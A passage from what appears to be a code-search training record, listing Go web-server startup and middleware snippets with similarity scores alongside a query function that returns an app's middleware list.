{\n\t\ttime.Sleep(1 * time.Hour)\n\t}\n}", "func main() {\n\thttp.ListenAndServe(\"127.0.0.1:8080\", NewServer())\n}", "func (s *Server) Run() {\n\trouter := routes.ConfigRoutes(s.server)\n\n\tlog.Print(\"server is running at port: \", s.port)\n\tlog.Fatal(router.Run(\":\" + s.port))\n}", "func (t *Loki) Run() error {\n\treturn t.server.Run()\n}", "func (a *App) Run() {\n\tfmt.Println(\"Run\")\n\tdefer a.session.Close()\n\ta.server.Start()\n}", "func (s *WebServer) Run(addr string) error {\n\tinitHandlers(s)\n\texpvar.Publish(\"Goroutines\", expvar.Func(func() interface{} {\n\t\treturn runtime.NumGoroutine()\n\t}))\n\n\thttp.Handle(\"/prom\", s.hub.Metrics.getHandler())\n\n\tsock, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo func() {\n\t\tfmt.Println(\"HTTP now available at\", addr)\n\t\tlog.Fatal(http.Serve(sock, nil))\n\t}()\n\treturn nil\n}", "func startApp(cfg *Config) error {\n\tapp, err := app.NewApplication(cfg.App())\n\tif err != nil {\n\t\treturn err\n\t}\n\tserver, err := server.NewServer(cfg.Listen, cfg.Protocol, app)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = server.Start()\n\tif err != nil {\n\t\treturn err\n\t}\n\tlogger.Info(\"start app\", \"msg\", log.NewLazySprintf(\"Server listening on %v (%v protocol)\", cfg.Listen, cfg.Protocol))\n\treturn nil\n}", "func (s *Server) Run(address string) error {\n\tlog.Printf(\"connect to http://localhost%s/ for GraphQL playground\", address)\n\ts.router.Handle(\"/\", playground.Handler(\"GraphQL playground\", \"/graphql\"))\n\ts.router.Handle(\"/graphql\", s.server)\n\treturn http.ListenAndServe(address, s.router)\n}", "func main() {\n\tflag.BoolVar(&debug, \"debug\", false, \"Enable debug output\")\n\tflag.StringVar(&host, \"host\", \"127.0.0.1\", \"Host to listen on\")\n\tflag.StringVar(&port, \"port\", \"5000\", \"Port to listen on\")\n\tflag.Parse()\n\n\t// create the host:port string for use\n\tlistenAddress := fmt.Sprintf(\"%s:%s\", host, port)\n\tif debug {\n\t\tlog.Printf(\"Listening on %s\", listenAddress)\n\t}\n\n\t// Map /config to our configHandler and wrap it in the log middleware\n\thttp.Handle(\"/config/\", logMiddleware(http.HandlerFunc(configHandler)))\n\n\t// Run forever on all interfaces on port 5000\n\tlog.Fatal(http.ListenAndServe(listenAddress, nil))\n}", "func main() {\n\tportNo := os.Args[1]\n\tstartServerMode(portNo)\n}", "func startServer() {\n\tapi, err := gobroem.NewAPI(options.db)\n\tif err != nil {\n\t\tlog.Fatal(\"can not open db\", err)\n\t}\n\n\thttp.ListenAndServe(\n\t\tfmt.Sprintf(\"%s:%d\", options.host, options.port),\n\t\tapi.Handler(\"/\", \"/static/\"),\n\t)\n}", "func main() {\n\te := godotenv.Load()\n\tif e != nil {\n\t\tfmt.Print(e)\n\t}\n\n\tr := routers.SetupRouter()\n\trouters.MirrorRouter(r)\n\trouters.ProxyRouter(r)\n\n\tport := os.Getenv(\"port\")\n\n\t// For run on requested port\n\tif len(os.Args) > 1 {\n\t\treqPort := os.Args[1]\n\t\tif reqPort != \"\" {\n\t\t\tport = reqPort\n\t\t}\n\t}\n\n\tif port == \"\" {\n\t\tport = \"8080\" //localhost\n\t}\n\ttype Job interface {\n\t\tRun()\n\t}\n\n\tr.Run(\":\" + port)\n}", "func (s *server) Run(ctx context.Context) {\n\tif s.banner {\n\t\tfmt.Printf(\"%s\\n\\n\", config.Banner)\n\t}\n\n\tet, err := NewEchoTCP(s.address, s.verbose)\n\tif err != nil {\n\t\tlog.Fatal(err) // exit if creating EchoTCP is failed.\n\t}\n\tdefer et.listener.Close()\n\n\tfmt.Printf(\"server is started at %s\\n\", s.address)\n\tet.Run(ctx)\n}", "func (s httpServer) Run(h http.Handler) {\n\ts.srv.Handler = h\n\tgo s.srv.ListenAndServe()\n}", "func start (args *Args) (bool) {\n \n // initialization\n config := config.Initialize(args.Get(\"-f\"))\n \n // Set log Level and log file path\n log.SetLevel(log.Level(config.Log.Level))\n log.SetOutput(config.Log.Path)\n \n // create a server instance\n server := New(config)\n \n log.Infof(\"Socks5 server is starting....\\n\")\n\n // Start the server \n if (server.Start() != true) {\n log.Errorf(\"Statring socks failed\\n\")\n return false\n }\n \n return true\n}", "func main() {\n\tif err := cmd.RunServer(); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"%v\\n\", err)\n\t\tos.Exit(1)\n\t}\n}", "func (app *Application) Run() {\n\terr := app.Server.ListenAndServe()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n}", "func (server Server) Run() error {\n\terr := server.supervisor.SpawnClient()\n\tif err != nil {\n\t\tserver.logger.Fatalf(\"Error in starting client: %s\", err)\n\t}\n\n\tgo listenForSMS(server.upstreamChannel, server.logger)\n\tserver.logger.Info(\"Listening for SMS\")\n\tserver.logger.Info(\"Starting Webserver\")\n\n\treturn server.webserver.Server.ListenAndServe()\n}", "func main() {\n\t// Make websocket\n\tlog.Println(\"Starting sync server\")\n\n\t// TODO: Use command line flag credentials.\n\tclient, err := db.NewClient(\"localhost:28015\")\n\tif err != nil {\n\t\tlog.Fatal(\"Couldn't initialize database: \", err.Error())\n\t}\n\tdefer client.Close()\n\n\trouter := sync.NewServer(client)\n\n\t// Make web server\n\tn := negroni.Classic()\n\tn.UseHandler(router)\n\tn.Run(\":8000\")\n}", "func (s *Server) Run() error {\n\treturn s.server.ListenAndServe()\n}", "func (server *Server) Run(env string) error {\n\n\t// load configuration\n\tj := config.LoadJWT(env)\n\n\tr := gin.Default()\n\n\t// middleware\n\tmw.Add(r, cors.Default())\n\tjwt := mw.NewJWT(j)\n\tm := mail.NewMail(config.GetMailConfig(), config.GetSiteConfig())\n\tmobile := mobile.NewMobile(config.GetTwilioConfig())\n\tdb := config.GetConnection()\n\tlog, _ := zap.NewDevelopment()\n\tdefer log.Sync()\n\n\t// setup default routes\n\trsDefault := &route.Services{\n\t\tDB: db,\n\t\tLog: log,\n\t\tJWT: jwt,\n\t\tMail: m,\n\t\tMobile: mobile,\n\t\tR: r}\n\trsDefault.SetupV1Routes()\n\n\t// setup all custom/user-defined route services\n\tfor _, rs := range server.RouteServices {\n\t\trs.SetupRoutes()\n\t}\n\n\tport, ok := os.LookupEnv(\"PORT\")\n\tif !ok {\n\t\tport = \"8080\"\n\t}\n\n\t// run with port from config\n\treturn r.Run(\":\" + port)\n}", "func (f *Flame) Run(args ...interface{}) {\n\thost := \"0.0.0.0\"\n\tport := \"2830\"\n\n\tif addr := os.Getenv(\"FLAMEGO_ADDR\"); addr != \"\" {\n\t\tfields := strings.SplitN(addr, \":\", 2)\n\t\thost = fields[0]\n\t\tport = fields[1]\n\t}\n\n\tif len(args) == 1 {\n\t\tswitch arg := args[0].(type) {\n\t\tcase string:\n\t\t\thost = arg\n\t\tcase int:\n\t\t\tport = strconv.Itoa(arg)\n\t\t}\n\t} else if len(args) >= 2 {\n\t\tif arg, ok := args[0].(string); ok {\n\t\t\thost = arg\n\t\t}\n\t\tif arg, ok := args[1].(int); ok {\n\t\t\tport = strconv.Itoa(arg)\n\t\t}\n\t}\n\n\taddr := host + \":\" + port\n\tlogger := f.Value(reflect.TypeOf(f.logger)).Interface().(*log.Logger)\n\tlogger.Printf(\"Listening on %s (%s)\\n\", addr, Env())\n\n\tserver := &http.Server{\n\t\tAddr: addr,\n\t\tHandler: f,\n\t}\n\tgo func() {\n\t\tif err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {\n\t\t\tlogger.Fatalln(err)\n\t\t}\n\t}()\n\n\t<-f.stop\n\n\tif err := server.Shutdown(gocontext.Background()); err != nil {\n\t\tlogger.Fatalln(err)\n\t}\n\tlogger.Println(\"Server stopped\")\n}", "func Run(c *Config) {\n\tlog.Print(\"Starting Ngao server\")\n\tlog.Printf(\"Listening on '%s', Serving: %s://%s\",\n\t\tc.ListenAddr, c.Scheme, c.Host)\n\tlog.Printf(\"Max sessions: %d. Older sessions cleared every: %d secs\",\n\t\tc.TotalAllowed, c.ClearInterval)\n\n\ttotalAllowed = c.TotalAllowed\n\tclearInterval = c.ClearInterval\n\tinitConf()\n\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\trProxy(c.ListenAddr, c.Host, c.Scheme)\n\t\twg.Done()\n\t}()\n\twg.Add(1)\n\tgo func() {\n\t\t// Launch session queues manager\n\t\tmanager()\n\t\twg.Done()\n\t}()\n\twg.Wait()\n}", "func (s *Server) Run(addr string) error {\n\tsvr := s.prepare(addr)\n\ts.logger.Info(\"start server\")\n\treturn svr.ListenAndServe()\n}", "func main() {\n\t// ****************************************\n\t// ********** Create Exporter *************\n\t// ****************************************\n\n\t// Export trace to stdout\n\texporter := rkgintrace.CreateFileExporter(\"stdout\")\n\n\t// Export trace to local file system\n\t// exporter := rkgintrace.CreateFileExporter(\"logs/trace.log\")\n\n\t// Export trace to jaeger collector\n\t// exporter := rkgintrace.CreateJaegerExporter(\"localhost:14268\", \"\", \"\")\n\n\t// ********************************************\n\t// ********** Enable interceptors *************\n\t// ********************************************\n\tinterceptors := []gin.HandlerFunc{\n\t\trkginlog.Interceptor(),\n\t\trkgintrace.Interceptor(\n\t\t\t// Entry name and entry type will be used for distinguishing interceptors. Recommended.\n\t\t\t// rkgintrace.WithEntryNameAndType(\"greeter\", \"grpc\"),\n\t\t\t//\n\t\t\t// Provide an exporter.\n\t\t\trkgintrace.WithExporter(exporter),\n\t\t//\n\t\t// Provide propagation.TextMapPropagator\n\t\t// rkgintrace.WithPropagator(<propagator>),\n\t\t//\n\t\t// Provide SpanProcessor\n\t\t// rkgintrace.WithSpanProcessor(<span processor>),\n\t\t//\n\t\t// Provide TracerProvider\n\t\t// rkgintrace.WithTracerProvider(<trace provider>),\n\t\t),\n\t}\n\n\t// 1: Create gin server\n\tserver := startGreeterServer(interceptors...)\n\tdefer server.Shutdown(context.TODO())\n\n\t// 2: Wait for ctrl-C to shutdown server\n\trkentry.GlobalAppCtx.WaitForShutdownSig()\n}" ]
[ "0.7117063", "0.7049765", "0.7015678", "0.6923607", "0.6905087", "0.6871585", "0.6849173", "0.68238467", "0.6785487", "0.676817", "0.6743881", "0.66145563", "0.6595219", "0.6580101", "0.65321547", "0.64899683", "0.64123374", "0.63941836", "0.6386117", "0.63856804", "0.6370186", "0.63537776", "0.63313764", "0.63233536", "0.63214415", "0.6310626", "0.63101006", "0.6298768", "0.62936014", "0.6288825", "0.62534463", "0.6253289", "0.6233046", "0.6232639", "0.6231554", "0.62246704", "0.61978346", "0.6191558", "0.6186578", "0.61862963", "0.61859393", "0.6182798", "0.61767405", "0.6165524", "0.6149304", "0.6148565", "0.6144789", "0.6140425", "0.61232865", "0.61162776", "0.61109984", "0.61077124", "0.60838985", "0.6073138", "0.6065254", "0.6061642", "0.60614353", "0.60573834", "0.6050892", "0.6047189", "0.6037995", "0.6030211", "0.6026758", "0.6026445", "0.6024795", "0.60185444", "0.6017469", "0.60102355", "0.60102105", "0.6009089", "0.6005283", "0.600504", "0.6002763", "0.5995293", "0.59933007", "0.59831643", "0.59810495", "0.5980057", "0.5976776", "0.5973287", "0.5969108", "0.5968721", "0.59544355", "0.5949893", "0.5947018", "0.5943713", "0.59429264", "0.5938712", "0.5935387", "0.593441", "0.59320456", "0.5930548", "0.59300965", "0.5926497", "0.5926325", "0.592429", "0.5904704", "0.59002656", "0.5893701", "0.58901787" ]
0.6138664
48
GetMiddleware returns the full array of active controllers
func GetMiddleware() []mux.MiddlewareFunc{ /* Add all of the middleware you want active in the app to this array */ mws := []mux.MiddlewareFunc{ GetAccessLogMiddleware(), } return mws }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func GetControllers() []CreateControllerFunc {\n\treturn handlers\n}", "func Middlewares() []def.Middleware {\n\treturn []def.Middleware{}\n}", "func (c *DefaultApiController) Middleware() func(http.Handler) http.Handler {\n\treturn c.middleware\n}", "func (mx *Mux) Middlewares() Middlewares {\n\treturn mx.middlewares.Items\n}", "func (h *RateLimit) GetMiddlewares(rawConfig map[string]interface{}, referenceSpec *api.Spec) ([]router.Constructor, error) {\n\tvar rateLimitConfig rateLimitConfig\n\terr := mapstructure.Decode(rawConfig, &rateLimitConfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trate, err := limiter.NewRateFromFormatted(rateLimitConfig.Limit)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlimiterStore, err := h.getLimiterStore(rateLimitConfig.Policy, referenceSpec.Name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlimiterInstance := limiter.NewLimiter(limiterStore, rate)\n\treturn []router.Constructor{\n\t\tmiddleware.NewRateLimitLogger(limiterInstance, h.statsClient).Handler,\n\t\tlimiter.NewHTTPMiddleware(limiterInstance).Handler,\n\t}, nil\n}", "func getAllMiddleware(router http.Handler, logger *logrus.Logger) http.Handler {\n\treturn newCorsMiddleware(\n\t\tsetContextMiddleware(\n\t\t\ttracingMiddleware( // generate request_id and context\n\t\t\t\tnewRecoveryMiddleware(logger)( // recover from panic()\n\t\t\t\t\tloggingMiddleware(logger)(\n\t\t\t\t\t\tnewRelicRecorder(\n\t\t\t\t\t\t\trouter,\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t),\n\t)\n}", "func NewMiddlewares(cfg *Config, log *zap.Logger) []abcmiddleware.MiddlewareFunc {\n\tm := abcmiddleware.Middleware{\n\t\tLog: log,\n\t}\n\n\tmiddlewares := []abcmiddleware.MiddlewareFunc{}\n\n\t// Display \"abcweb dev\" build errors in the browser.\n\tif !cfg.Server.ProdLogger {\n\t\tmiddlewares = append(middlewares, web.ErrorChecker)\n\t}\n\n\t// Injects a request ID into the context of each request\n\tmiddlewares = append(middlewares, chimiddleware.RequestID)\n\n\t// Creates the derived request ID logger and sets it in the context object.\n\t// Use middleware.Log(r) to retrieve it from the context object for usage in\n\t// other middleware injected below this one, and in your controllers.\n\tmiddlewares = append(middlewares, m.RequestIDLogger)\n\n\t// Graceful panic recovery that uses zap to log the stack trace\n\tmiddlewares = append(middlewares, m.Recover)\n\n\t// Use zap logger for all routing\n\tmiddlewares = append(middlewares, m.Zap)\n\n\t// Sets response headers to prevent clients from caching\n\tif cfg.Server.AssetsNoCache {\n\t\tmiddlewares = append(middlewares, chimiddleware.NoCache)\n\t}\n\n\treturn middlewares\n}", "func (a *Application) getHandler() func(ctx *fasthttp.RequestCtx) {\n\tif len(a.routers) == 1 {\n\t\treturn a.defaultRouter.Handler\n\t}\n\n\treturn a.Handler\n}", "func Middleware(next HandlerFunc) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tsession, _ := GetCurrentSession(r)\n\t\tnext(session, w, r)\n\t})\n}", "func (s *AppServer) Handlers() []Middleware {\n\treturn s.AppRoute.handlers\n}", "func (app *Application) Middlewares() {\n\t// apply your middlewares\n\n\t// panic recovery\n\tapp.V1Use(\"*\", middlewares.Recovery())\n\tapp.V1Use(\"user\", middlewares.Session(app.Session()))\n}", "func (app *App) GetHandler() http.Handler {\n\treturn app.router\n}", "func (s *Service) GetMiddlewareCache(bizid int64) []*middleware.Aggregate {\n\treturn s.bizMiddlewareCache[bizid]\n}", "func toMiddleware(m []interface{}) []MiddleWare {\n\tvar stack []MiddleWare\n\tif len(m) > 0 {\n\t\tfor _, f := range m {\n\t\t\tswitch v := f.(type) {\n\t\t\tcase func(http.ResponseWriter, *http.Request):\n\t\t\t\tstack = append(stack, mutate(http.HandlerFunc(v)))\n\t\t\tcase func(http.Handler) http.Handler:\n\t\t\t\tstack = append(stack, v)\n\t\t\tdefault:\n\t\t\t\tfmt.Println(\"[x] [\", reflect.TypeOf(v), \"] is not a valid MiddleWare Type.\")\n\t\t\t}\n\t\t}\n\t}\n\treturn stack\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn handler\n}", "func ActiveMiddleware(ctx iris.Context) {\n\tactive, err := isActive(ctx)\n\tif err != nil {\n\t\tctx.StatusCode(http.StatusInternalServerError)\n\t\tctx.JSON(jsonError{Error: err.Error()})\n\t\tctx.StopExecution()\n\t\treturn\n\t}\n\tif !active {\n\t\tctx.StatusCode(http.StatusUnauthorized)\n\t\tctx.JSON(jsonError{Error: \"Connexion requise\"})\n\t\tctx.StopExecution()\n\t\treturn\n\t}\n\tctx.Next()\n}", "func GetAuthMiddleware(signingKey []byte) *jwtmiddleware.JWTMiddleware {\n\treturn jwtmiddleware.New(jwtmiddleware.Options{\n\t\tValidationKeyGetter: func(token *jwt.Token) (interface{}, error) {\n\t\t\treturn signingKey, nil\n\t\t},\n\t\tSigningMethod: jwt.SigningMethodHS256,\n\t})\n}", "func (ac *applicationController) GetRoutes() models.Routes {\n\troutes := models.Routes{\n\t\tmodels.Route{\n\t\t\tPath: rootPath + \"/applications\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.RegisterApplication,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath,\n\t\t\tMethod: \"PUT\",\n\t\t\tHandlerFunc: ac.ChangeRegistrationDetails,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath,\n\t\t\tMethod: \"PATCH\",\n\t\t\tHandlerFunc: ac.ModifyRegistrationDetails,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: rootPath + \"/applications\",\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.ShowApplications,\n\t\t\tKubeApiConfig: models.KubeApiConfig{\n\t\t\t\tQPS: 50,\n\t\t\t\tBurst: 100,\n\t\t\t},\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: rootPath + \"/applications/_search\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.SearchApplications,\n\t\t\tKubeApiConfig: models.KubeApiConfig{\n\t\t\t\tQPS: 100,\n\t\t\t\tBurst: 100,\n\t\t\t},\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath,\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.GetApplication,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath,\n\t\t\tMethod: \"DELETE\",\n\t\t\tHandlerFunc: ac.DeleteApplication,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines\",\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.ListPipelines,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines/build\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.TriggerPipelineBuild,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines/build-deploy\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.TriggerPipelineBuildDeploy,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines/promote\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.TriggerPipelinePromote,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/pipelines/deploy\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.TriggerPipelineDeploy,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/deploykey-valid\",\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.IsDeployKeyValidHandler,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/deploy-key-and-secret\",\n\t\t\tMethod: \"GET\",\n\t\t\tHandlerFunc: ac.GetDeployKeyAndSecret,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/regenerate-machine-user-token\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.RegenerateMachineUserTokenHandler,\n\t\t},\n\t\tmodels.Route{\n\t\t\tPath: appPath + \"/regenerate-deploy-key\",\n\t\t\tMethod: \"POST\",\n\t\t\tHandlerFunc: ac.RegenerateDeployKeyHandler,\n\t\t},\n\t}\n\n\treturn routes\n}", "func useMiddlewareHandler(h http.Handler, mw ...Middleware) http.Handler {\n\tfor i := range mw {\n\t\th = mw[len(mw)-1-i](h)\n\t}\n\n\treturn h\n}", "func (client *Client) GetMiddlewareRules() ([]*mwRule.Rule, error) {\n\tresp, err := client.v3.Get(client.ctx, \"/eve/mwrules\", clientv3.WithPrefix())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trules := make([]*mwRule.Rule, 0, resp.Count)\n\tfor _, kv := range resp.Kvs {\n\t\trule, err := client.parseMwRule(kv)\n\t\tif err != nil {\n\t\t\tlog.Print(\"Error: \", err)\n\t\t\tcontinue\n\t\t}\n\t\trules = append(rules, rule)\n\t}\n\treturn rules, nil\n}", "func (zm *ZipkinMiddleware) GetMiddlewareHandler() func(http.ResponseWriter, *http.Request, http.HandlerFunc) {\n\treturn func(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) {\n\t\twireContext, err := zm.tracer.Extract(\n\t\t\topentracing.TextMap,\n\t\t\topentracing.HTTPHeadersCarrier(r.Header),\n\t\t)\n\t\tif err != nil {\n\t\t\tcommon.ServerObj.Logger.Debug(\"Error encountered while trying to extract span \", zap.Error(err))\n\t\t\tnext(rw, r)\n\t\t}\n\t\tspan := zm.tracer.StartSpan(r.URL.Path, ext.RPCServerOption(wireContext))\n\t\tdefer span.Finish()\n\t\tctx := opentracing.ContextWithSpan(r.Context(), span)\n\t\tr = r.WithContext(ctx)\n\t\tnext(rw, r)\n\t}\n}", "func ClearMiddlewares() {\n\tmiddlewares = []middlewareFunc{}\n}", "func Middleware() echo.MiddlewareFunc {\n\tstats.Do(func() {\n\t\tstats.init()\n\t})\n\treturn echo.WrapMiddleware(handlerFunc)\n}", "func Middleware(fn AppHandler, c interface{}) AppHandler {\n\treturn func(w http.ResponseWriter, r *http.Request) *AppError {\n\t\tr = r.WithContext(context.WithValue(r.Context(), \"env\", c))\n\t\tr = r.WithContext(context.WithValue(r.Context(), \"vars\", mux.Vars(r)))\n\t\treturn fn(w, r)\n\t}\n}", "func Use(filter HandlerFunc) {\n\tApp.middlewares = append(App.middlewares, filter)\n}", "func (r *Router) Middleware(handles ...HandleFunc) {\n\tr.middlewareList = append(r.middlewareList, handles...)\n}", "func (s *ControllerPool) GetControllerMap() []string {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\treturn s.controllerMap\n}", "func NewMiddleware(backend TokenIntrospecter) *Middleware {\n\treturn &Middleware{Backend: backend}\n}", "func Middleware(next http.Handler) http.Handler {\n\tfn := func(w http.ResponseWriter, r *http.Request) {\n\t\tappengineCtx := appengine.NewContext(r)\n\t\tctx := context.WithValue(r.Context(), contextKeyContext, appengineCtx)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t}\n\n\treturn http.HandlerFunc(fn)\n}", "func Middleware() routes.Middleware {\n\treturn sessionMiddleware{\n\t\tsessions: make(map[string]*sessionData),\n\t}\n}", "func GetGroupControllers() []CreateGroupControllerFunc {\n\treturn groupHandlers\n}", "func Middleware() func(http.Handler) http.Handler {\n\treturn func(next http.Handler) http.Handler {\n\t\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t// for _, cookie := range r.Cookies() {\n\t\t\t// \tfmt.Fprint(w, cookie.Name)\n\t\t\t// \tlog.Println(cookie.Name)\n\t\t\t// }\n\t\t\t// log.Println(formatRequest(r))\n\t\t\t// log.Println(r.Cookies())\n\t\t\t// c, err := r.Cookie(\"auth-cookie\")\n\n\t\t\t// Allow unauthenticated users in\n\t\t\t// if err != nil || c == nil {\n\t\t\t// \tnext.ServeHTTP(w, r)\n\t\t\t// \treturn\n\t\t\t// }\n\n\t\t\t_, claims, err := jwtauth.FromContext(r.Context())\n\t\t\t// Allow unauthenticated users in\n\t\t\tif claims == nil || err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\tnext.ServeHTTP(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tidentity := claims[\"session\"].(map[string]interface{})[\"identity\"]\n\t\t\tlog.Println(identity)\n\t\t\t// parsed, err := gabs.ParseJSON(claims)\n\t\t\t// log.Println(parsed)\n\t\t\t// log.Println(err)\n\n\t\t\tnext.ServeHTTP(w, r)\n\t\t})\n\t}\n}", "func Middleware(ce *casbin.Enforcer) echo.MiddlewareFunc {\n\tc := DefaultConfig\n\tc.Enforcer = ce\n\treturn MiddlewareWithConfig(c)\n}", "func (app *App) GetWithMiddleware(path string, f http.HandlerFunc) {\n\tapp.Router.Handle(path, auth.AuthMiddleware(f)).Methods(\"GET\")\n}", "func Middleware(t *elasticapm.Tracer) mux.MiddlewareFunc {\n\treturn func(h http.Handler) http.Handler {\n\t\treturn &apmhttp.Handler{\n\t\t\tHandler: h,\n\t\t\tRecovery: apmhttp.NewTraceRecovery(t),\n\t\t\tRequestName: routeRequestName,\n\t\t\tTracer: t,\n\t\t}\n\t}\n}", "func (s *ControllerPool) GetControllerValidators(controllerName string) []Validator {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\tif len(s.controllerValidators) == 0 {\n\t\treturn nil\n\t}\n\tvalidators, ok := s.controllerValidators[controllerName]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn validators\n\n}", "func NewMiddleWare(\n\tcustomClaimsFactory CustomClaimsFactory,\n\tvalidFunction CustomClaimsValidateFunction,\n) *Middleware {\n\treturn &Middleware{\n\t\t// todo: customize signing algorithm\n\t\tSigningAlgorithm: \"HS256\",\n\t\tJWTHeaderKey: \"Authorization\",\n\t\tJWTHeaderPrefixWithSplitChar: \"Bearer \",\n\t\tSigningKeyString: GetSignKey(),\n\t\tSigningKey: []byte(GetSignKey()),\n\t\tcustomClaimsFactory: customClaimsFactory,\n\t\tvalidFunction: validFunction,\n\t\t// MaxRefresh: default zero\n\t}\n}", "func (d *InfoOutput) MiddlewareServers() []any {\n\tval := d.reply[\"middleware_servers\"]\n\n\treturn val.([]any)\n\n}", "func GetApplicationHandler() *mux.Router {\n\trouter := mux.NewRouter()\n\n\tsetupMiddlewares(router)\n\n\t// Connect route sets to the main router.\n\tauthRouting(router)\n\tspotifyRouting(router)\n\tchlorineRouting(router)\n\twsRouting(router)\n\n\treturn router\n}", "func getCorsMiddleware() func(next http.Handler) http.Handler {\n\tcrs := cors.New(cors.Options{\n\t\tAllowedOrigins: []string{\"*\"},\n\t\tAllowedMethods: []string{\"GET\", \"POST\", \"PUT\", \"DELETE\", \"PATCH\", \"OPTIONS\"},\n\t\tAllowedHeaders: []string{\"Accept\", \"Authorization\", \"Content-Type\", \"X-CSRF-Token\"},\n\t\tAllowCredentials: true,\n\t\tMaxAge: 300, // Maximum value not ignored by any of major browsers\n\t})\n\n\treturn crs.Handler\n}", "func (a *AuthMiddleware) GetAuthMiddleware() (*jwt.GinJWTMiddleware, error) {\n\tmiddleware, err := jwt.New(&jwt.GinJWTMiddleware{\n\t\tRealm: a.Realm,\n\t\tKey: a.Key,\n\t\tTimeout: a.Timeout,\n\t\tMaxRefresh: a.MaxRefresh,\n\t\tIdentityKey: a.IdentityKey,\n\t\tPayloadFunc: func(data interface{}) jwt.MapClaims {\n\t\t\tif v, ok := data.(drepository.Manager); ok {\n\t\t\t\treturn jwt.MapClaims{\n\t\t\t\t\ta.IdentityKey: v.ID,\n\t\t\t\t\t\"email\": v.Email,\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn jwt.MapClaims{}\n\t\t},\n\t\tIdentityHandler: func(c *gin.Context) interface{} {\n\t\t\tclaims := jwt.ExtractClaims(c)\n\n\t\t\tid, _ := primitive.ObjectIDFromHex(claims[a.IdentityKey].(string))\n\n\t\t\tc.Set(\"managerID\", claims[a.IdentityKey].(string))\n\n\t\t\treturn drepository.Manager{\n\t\t\t\tID: id,\n\t\t\t\tEmail: claims[\"email\"].(string),\n\t\t\t}\n\t\t},\n\t\tAuthenticator: func(c *gin.Context) (interface{}, error) 